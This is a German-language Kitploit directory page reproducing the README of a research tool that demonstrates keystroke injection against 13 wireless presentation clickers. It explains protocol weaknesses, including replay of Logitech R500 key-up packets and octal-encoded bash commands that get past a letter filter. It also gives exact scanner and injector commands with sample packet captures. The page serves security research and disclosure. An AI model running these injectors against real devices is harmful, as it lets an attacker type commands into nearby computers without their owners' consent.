Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
presentation-clickers — Keystroke injection vulnerabilities in wireless presentation clickers | Kitploit
Tools/GitHubGitHub/marcnewlin/presentation-clickers
Embedded Systems SecurityExploitationReverse EngineeringWireless SecurityHardware HackingPenetration TestingHardware & IoT Security
GitHubmarcnewlin/presentation-clickers

presentation-clickers

Keystroke injection vulnerabilities in wireless presentation clickers

Repository anzeigen
9614vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Präsentationsklicker

Ich hatte Lust auf ein wenig RF-Reverse-Engineering, also habe ich ein paar Präsentationsklicker bestellt und hatte etwas Spaß.

Dies ist ein Fork von nrf-research-firmware (den ich vor einigen Jahren bei Bastille geschrieben habe). Ich habe Unterstützung für ein paar neue Transceiver/Protokolle hinzugefügt und Keystroke-Injection-PoCs für 13 gängige Präsentationsklicker enthalten.

Historie

  • 2019-04-20 - erste Charge veröffentlicht (8 Geräte)
  • 2019-04-21 - zweite Charge veröffentlicht (5 Geräte)

Geräte, die für Keystroke-Injection anfällig sind

HerstellerModellProtokollRFICHinzugefügt
AmazonBasicsP-001AmazonBasics P-001nRF242019-04-20
CanonPR100-RCanon PR100-RPL11672019-04-20
FunpickWireless PresenterHS304HS3042019-04-20
AMERTEERWireless PresenterHS304HS3042019-04-20
BEBONCOOLD100HS304HS3042019-04-20
ESYWENWireless PresenterHS304HS3042019-04-20
Red Star TechPR-819HS304HS3042019-04-20
DinoFireD06-DF-USHS304HS3042019-04-20
TBBSCDSIT-60TBBSC DSIT-60BK24512019-04-21
RiiWireless PresenterRii Wireless PresenterBK2451

Protokolle

Logitech Encrypted

Übersicht

Dies ist das Standard-Protokoll für verschlüsselte Logitech-Tastaturen, wie es vom R500 verwendet wird. Es ist gewissermaßen anfällig für den „verschlüsselten Keystroke-Injection"-Angriff, den ich im Rahmen des MouseJack-Projekts für Logitech-Unifying-Tastaturen dokumentiert habe.

Ich sage gewissermaßen, weil nicht alle HID-Scancodes akzeptiert werden. Konkret werden 0x04-0x1D (A-Z) durch 0x00 ersetzt, wenn der Dongle das Paket an den Host-Computer sendet. Das bedeutet, wir können alles injizieren, was wir wollen, solange es kein Buchstabe ist. Die andere Ausnahme ist, dass Strg-Tastenkombinationen erlaubt sind, auch wenn sie Buchstaben enthalten.

Eine effektive Keystroke-Injection über den R500 erfordert, dass wir ein wenig kreativ werden.

Nehmen wir an, das Ziel befindet sich in einer Bash-Sitzung. In Bash können wir unsere Zeichen in Oktal kodieren und so Befehle kodieren, die Buchstaben enthalten, die unser Ziel ausführen soll.

Zum Beispiel wird ping google.com als $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155' kodiert. Wenn wir diesen String an eine Bash-Sitzung senden und dann enter senden, wird der Befehl ping google.com auf dem Zielrechner ausgeführt.

Geräteerkennung

Die Adresse Ihres Logitech R500 finden Sie mit nrf24-scanner wie folgt:

sudo ./tools/nrf24-scanner.py -c {2..74..3} -l

Die Pakete sollten in etwa so aussehen:

root@kitploit:~
[2019-04-21 13:11:52.507]  62   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 13:11:52.515]  62   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 13:11:52.523]  62  22  85:D1:9D:FE:07  00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81

Injektion

Injektion ist möglich, weil der Dongle keine inkrementierenden AES-Zähler erzwingt, sodass Sie Pakete wiedergeben können. Ein OTA-gesendetes Paket besteht aus einer USB-HID-Nutzlast, die im AES-Counter-Modus verschlüsselt wurde, gefolgt von dem Zähler. Wenn Sie eine Taste am Präsentationsklicker drücken, erzeugt dieser ein Key-down-Paket und ein Key-up-Paket. Das Key-up-Paket besteht komplett aus Nullen, was uns schönes, sauberes Schlüsselmaterial liefert, das wir wiederverwenden, mit unserer eigenen Nutzlast per XOR verknüpfen und über OTA senden können.

Es sollte nicht schwer sein, den Prozess zu automatisieren: auf einen Tastendruck zu lauschen, das zweite (Key-up-)Paket herauszuziehen und es automatisch als Referenz für das Schlüsselmaterial zu verwenden. Aber ich bin faul, also müssen Sie zuerst selbst einen Tastendruck beobachten, was wie folgt aussieht:

root@kitploit:~
[2019-04-21 16:02:56.451]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.459]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.468]  65  22  85:D1:9D:FE:07  00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.507]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.516]  65  22  85:D1:9D:FE:07  00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.532]  65   5  85:D1:9D:FE:07  00:40:00:08:B8

Das zweite 22-Byte-Paket ist das Key-up-Paket.

Entfernen Sie das letzte Byte der Nutzlast und kopieren Sie den String in logitech.py, wobei Sie KEYUP_REF ersetzen.

(Es sollte nicht funktionieren, ohne KEYUP_REF zu aktualisieren, aber falls es doch funktioniert, lassen Sie es mich bitte wissen!)

Injektion

Injizieren Sie die als Oktal kodierte Bash-Tastenfolge ping google.com in einen bestimmten Logitech-R500-Dongle (Adresse 85:D1:9D:FE:07):

sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07

Logitech Unencrypted

Übersicht

Dies ist das standardmäßige unverschlüsselte Logitech-Protokoll, das vom R400/R800 verwendet wird.

Geräteerkennung

Die Adresse Ihres Logitech R400/R800 finden Sie mit nrf24-scanner wie folgt:

sudo ./tools/nrf24-scanner.py -c {2..74..3} -l

Die Pakete sollten in etwa so aussehen:

root@kitploit:~
[2019-04-21 12:58:43.466]  32   0  9D:9E:95:52:07  
[2019-04-21 12:58:43.620]  32  10  9D:9E:95:52:07  00:C1:00:00:00:00:00:00:00:3F

Injektion

Injizieren Sie die Test-Tastenfolge in einen bestimmten Logitech-R400/R800-Dongle (Adresse 9D:9E:95:52:07):

sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07

Rii Wireless Presenter

Übersicht

Der Rii Wireless Presenter (Stiftform) basiert auf dem BK2451 (der offenbar ein nRF24-Klon ist). Angesichts der Verbreitung von Schwestergeräten sieht das nach einem generischen Protokoll aus, daher werde ich es wahrscheinlich neu kategorisieren, sobald ich mehr Daten habe.

Es ist funktional eine unverschlüsselte drahtlose Tastatur und anfällig für Keystroke-Injection.

PHY

Der Wireless Presenter (Stiftform) verwendet 250Kb/s nRF24 Enhanced Shockburst (anscheinend ohne ACKs) und eine 5-Byte-Adresse. Das von mir getestete Gerät verweilte nach meiner Beobachtung auf 2425 MHz, aber es scheint eine Art Frequenzsprungverfahren zu verwenden. In der Praxis ist es notwendig, vor dem Senden von Tastenfolge-Paketen einige Dummy-Pakete auf dem Zielkanal zu senden.

Ich vermute, dass ein Kanal-Hopping stattfindet, das ich nicht näher untersucht habe, aber das Anvisieren eines einzelnen Kanals reicht aus, um Keystroke-Injection zu demonstrieren.

Geräteerkennung

Die Adresse Ihres Wireless Presenter (Stiftform) finden Sie mit nrf24-scanner wie folgt:

sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5

Beachten Sie, dass Ihr Gerät möglicherweise auf einem anderen Kanal ist.

Die Pakete sollten in etwa so aussehen:

root@kitploit:~
[2019-04-21 11:50:33.116]  25   3  6D:8C:01:14:25  4B:51:00
[2019-04-21 11:50:33.212]  25   3  6D:8C:01:14:25  4C:00:00
[2019-04-21 11:50:33.522]  25   3  6D:8C:01:14:25  4D:51:00
[2019-04-21 11:50:33.565]  25   3  6D:8C:01:14:25  4E:00:00

Injektion

Injizieren Sie die Test-Tastenfolge in einen bestimmten Rii-Dongle (Adresse 6D:8C:01:14:25):

sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25

TBBSC DSIT-60

Übersicht

Der TBBSC DSIT-60 basiert auf dem BK2451 (der offenbar ein nRF24-Klon ist). Es gibt offensichtliche Schwestergeräte (d. h. dieses), die ich nicht getestet habe. Im Moment kategorisiere ich dies als ein eigenständiges Protokoll, aber das wird sich wahrscheinlich ändern, sobald ich das/die Schwestergerät(e) teste.

Es ist funktional eine unverschlüsselte drahtlose Tastatur und anfällig für Keystroke-Injection.

PHY

Der DSIT-60 verwendet 250Kb/s nRF24 Enhanced Shockburst (oder zumindest ein OTA-Äquivalent) mit einer 3-Byte-Adresse. Das von mir getestete Gerät verweilte nach meiner Beobachtung auf 2406 MHz, aber ich bin mir nicht sicher, welche anderen Kanäle es möglicherweise nutzt.

Geräteerkennung

Die Adresse Ihres DSIT-60 finden Sie mit nrf24-scanner wie folgt:

sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3

Beachten Sie, dass Ihr Gerät möglicherweise auf einem anderen Kanal ist oder es eine Frequenzsprung-Nachstimmung gibt, die ich nicht beobachtet habe.

Die Pakete sollten in etwa so aussehen:

root@kitploit:~

[2019-04-21 10:33:44.264]   6   4  87:02:09  0B:42:00:2B
[2019-04-21 10:33:44.269]   6   4  87:02:09  0B:42:00:2B
[2019-04-21 10:33:52.477]   6   4  87:02:09  01:42:00:28

Injektion

Injizieren Sie die Test-Tastenfolge in einen bestimmten TBBSC-DSIT-60-Dongle (Adresse 87:02:09):

sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09

AmazonBasics P-001

Übersicht

Dies ist mit ziemlicher Sicherheit ein generisches Protokoll, aber ich habe mir noch keines der Schwestergeräte angesehen (d. h. dieses). Im Moment kategorisiere ich dies als ein eigenständiges Protokoll, aber das wird sich wahrscheinlich ändern, sobald ich das/die Schwestergerät(e) teste.

Der P-001 basiert auf der nRF24-RFIC-Familie und ist funktional eine unverschlüsselte drahtlose Tastatur, die für Keystroke-Injection anfällig ist.

PHY

Der P-001 verwendet 2Mb/s nRF24 Enhanced Shockburst mit 5-Byte-Adressen sowie die Kanäle 2402-2476.

Geräteerkennung

Die Adresse Ihres P-001 finden Sie mit nrf24-scanner.py.

Das Drücken der rechten Pfeiltaste sollte Pakete erzeugen, die in etwa so aussehen:

root@kitploit:~
[2019-04-20 12:59:13.908]  27   9  44:CB:66:A3:BE  00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.909]  27   9  44:CB:66:A3:BE  00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.999]  27   9  44:CB:66:A3:BE  00:00:4E:00:00:00:00:00:01
[2019-04-20 12:59:14.120]  27   9  44:CB:66:A3:BE  00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.121]  27   9  44:CB:66:A3:BE  00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.211]  27   9  44:CB:66:A3:BE  00:00:4E:00:00:00:00:00:01

Injektion

Injizieren Sie die Test-Tastenfolge in einen bestimmten AmazonBasics-P-001-Dongle (Adresse 44:CB:66:A3:BE):

sudo ./tools/preso-injector.py -l -f amazon -a 44:CB:66:A3:BE

Canon PR100-R

Übersicht

Ich bin mir nicht sicher, ob dieses Protokoll nur für den Canon PR100-R gilt, aber da es das einzige Gerät ist, bei dem ich dieses Protokoll beobachtet habe, lasse ich es in einer eigenen Kategorie, bis die Daten etwas anderes nahelegen.

Der PR100-R basiert auf dem PL1167-RFIC und einer unbekannten MCU.

Der PR100-R ist funktional eine unverschlüsselte drahtlose Tastatur, die für Keystroke-Injection anfällig ist.

PHY

Der PR100-R verwendet ein 1-Mb/s-FSK-Protokoll, das auf Kanälen mit 5-MHz-Abstand zwischen 2406 MHz und 2481 MHz arbeitet.

Die Pakete sind mit Whitening versehen und durch eine 16-Bit-CRC geschützt.

Es scheinen keine ACKs vom Dongle zurückgesendet zu werden, mit der Einschränkung, dass ich dieses Protokoll nur ausreichend analysiert habe, um eine Keystroke-Injection zu demonstrieren.

Das Protokoll scheint bei der Kanalwahl einen Frequenzsprung-Ansatz zu verfolgen, und der Dongle stellt sich auf einen Kanal ein, nachdem die Fernbedienung eine gewisse Anzahl von Paketen darauf gesendet hat. In der Praxis reicht es aus, einige Sekunden lang Dummy-Pakete zu senden, bevor Sie die Tastenfolge-Pakete senden.

Adressierung

Aufgrund des Paketformats ist unklar, ob dieses Protokoll ein festes Sync-Wort oder eine gerätespezifische Adresse verwendet. Ich habe mir nur ein einziges Gerät angesehen (wegen des hohen Preises), daher konnte ich das Paketformat nicht vollständig überprüfen.

Das Injektionsskript funktioniert bei meinem PR100-R, muss aber möglicherweise für den allgemeinen Gebrauch angepasst werden. Wenn Sie einen weiteren PR100-R haben und dies validieren können, lassen Sie es mich bitte wissen!

Injektion

Injizieren Sie die Test-Tastenfolge in einen nahegelegenen Canon-PR100-R-Dongle:

sudo ./tools/preso-injector.py -l -f canon

HS304

Übersicht

Der HS304 scheint ein anwendungsspezifischer RFIC für Präsentationsklicker (oder vielleicht drahtlose Tastaturen/Mäuse) zu sein. Der Name stammt von der USB-Gerätezeichenfolge HAS HS304 und war bei allen Geräten in dieser Gruppe gleich.

Der RFIC wurde als unbeschriftetes SOP-16-Gehäuse beobachtet, ohne erkennbare Unterschiede zwischen den Herstellern.

HS304-basierte Geräte sind funktional unverschlüsselte drahtlose Tastaturen, die für Keystroke-Injection anfällig sind.

PHY

HS304 ist ein 1-Mb/s-FSK-Protokoll, das auf drei Kanälen im 2,4-GHz-ISM-Band arbeitet (2407, 2433, 2463). Es scheinen keine ACKs vom Dongle an den Präsentationsklicker zurückgesendet zu werden; die Paketzustellung wird dadurch sichergestellt, dass jedes Paket auf jedem der drei Kanäle gesendet wird.

In der Praxis kann eine zuverlässige Paketzustellung auch erreicht werden, indem jedes Paket mehrfach auf einem einzelnen Kanal gesendet wird.

Die Pakete sind mit Whitening versehen und durch eine 16-Bit-CRC geschützt.

Adressierung

Es gibt kein Adressierungs- oder Pairing-Schema, daher erfordert die Keystroke-Injection keine Geräteerkennung; das Fehlen von ACKs schließt jedoch die aktive Erkennung von Dongles aus.

Injektion

Injizieren Sie die Test-Tastenfolge in nahegelegene HS304-Dongles:

sudo ./tools/preso-injector.py -l -f hs304

Sniffing

Empfangen und dekodieren Sie Pakete, die von nahegelegenen NS304-Präsentationsklickern gesendet werden:

sudo ./tools/preso-scanner.py -l -f hs304

Tool herunterladen
2019-04-21
LogitechR400Logitech UnencryptednRF242019-04-21
LogitechR800Logitech UnencryptednRF242019-04-21
LogitechR500Logitech EncryptednRF242019-04-21